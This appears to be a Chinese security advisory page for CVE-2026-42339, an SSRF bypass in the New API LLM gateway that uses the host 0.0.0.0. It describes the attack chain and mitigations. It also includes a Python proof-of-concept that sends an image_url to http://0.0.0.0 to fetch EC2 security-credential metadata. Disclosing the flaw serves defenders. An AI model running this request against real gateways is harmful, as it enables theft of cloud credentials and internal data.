IPBUF安全漏洞报告
English
CVE-2026-42339 CVSS 7.1 高危

CVE-2026-42339 New API SSRF漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42339
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
New API

相关标签

SSRFNew APILLM Gateway0.0.0.0 BypassInformation Disclosure

漏洞概述

New API是一个大语言模型网关和人工智能资产管理系统。在0.11.9-alpha.1及更早版本中,系统的SSRF防护机制存在缺陷,未能正确拦截0.0.0.0地址。持有有效API令牌的普通用户可利用此漏洞,向特定API端点发送包含恶意图片或文件URL的请求。通过将URL主机设置为0.0.0.0,攻击者能够绕过私有IP过滤器,诱导服务器向本地主机发起HTTP请求。在特定配置下(如AWS/Bedrock Claude适配器),这会导致本地敏感内容被泄露,目前尚无官方补丁。

技术细节

该漏洞的核心在于New API的SSRF防护逻辑存在绕过缺陷。尽管开发者在v0.9.0.5及v0.9.6版本中尝试引入并加固了针对私有IP的过滤机制,但未将0.0.0.0视为受限地址。攻击者无需管理员权限,仅需持有任意有效的API Token即可发起攻击。攻击目标是处理多模态数据的接口,包括/v1/chat/completions、/v1/responses和/v1/messages。攻击者在构造请求时,将image或file URL参数的主机部分设置为0.0.0.0。服务器端接收请求后,因过滤器失效,向本地回环地址发送HTTP请求。在默认场景下,这构成了盲SSRF,可用于端口扫描等服务探测。然而,若请求通过AWS/Bedrock Claude适配器处理,服务器会将获取到的本地资源内容直接内联到模型的响应中,从而升级为完全读取的SSRF,导致敏感信息泄露。

攻击链分析

STEP 1
步骤1:信息收集
攻击者获取目标New API系统的访问权限,并设法获得一个有效的API Token(非管理员权限)。
STEP 2
步骤2:构造恶意请求
攻击者向/v1/chat/completions等端点发送多模态请求,在image_url字段中将主机指定为0.0.0.0,端口指向本地敏感服务(如80, 8080等)。
STEP 3
步骤3:绕过防护
服务器的SSRF过滤器未能识别0.0.0.0为内网地址,允许请求通过,并代为向localhost发起HTTP连接。
STEP 4
步骤4:数据泄露
若配置了AWS/Bedrock Claude适配器,本地服务的响应内容会被抓取并显示在AI的回复中,导致敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Configuration target_url = "http://target-new-api-instance.com/v1/chat/completions" api_token = "YOUR_VALID_API_TOKEN" # Headers headers = { "Authorization": f"Bearer {api_token}", "Content-Type": "application/json" } # Payload exploiting 0.0.0.0 to access localhost metadata (e.g., AWS Cloud Metadata) # Adjust port and path based on the target environment payload = { "model": "gpt-4", "messages": [ { "role": "user", "content": [ { "type": "image_url", "image_url": { # Using 0.0.0.0 to bypass private IP filter and hit localhost "url": "http://0.0.0.0:80/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" } }, { "type": "text", "text": "Read the content of the image." } ] } ] } try: response = requests.post(target_url, headers=headers, data=json.dumps(payload)) print(f"Status Code: {response.status_code}") print("Response Body:") print(response.text) except Exception as e: print(f"An error occurred: {e}")

影响范围

New API <= 0.11.9-alpha.1

防御指南

临时缓解措施
建议暂时禁用受影响系统中的多模态文件处理功能,或在反向代理层(如Nginx)拦截请求体中包含0.0.0.0或localhost字段的流量,以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表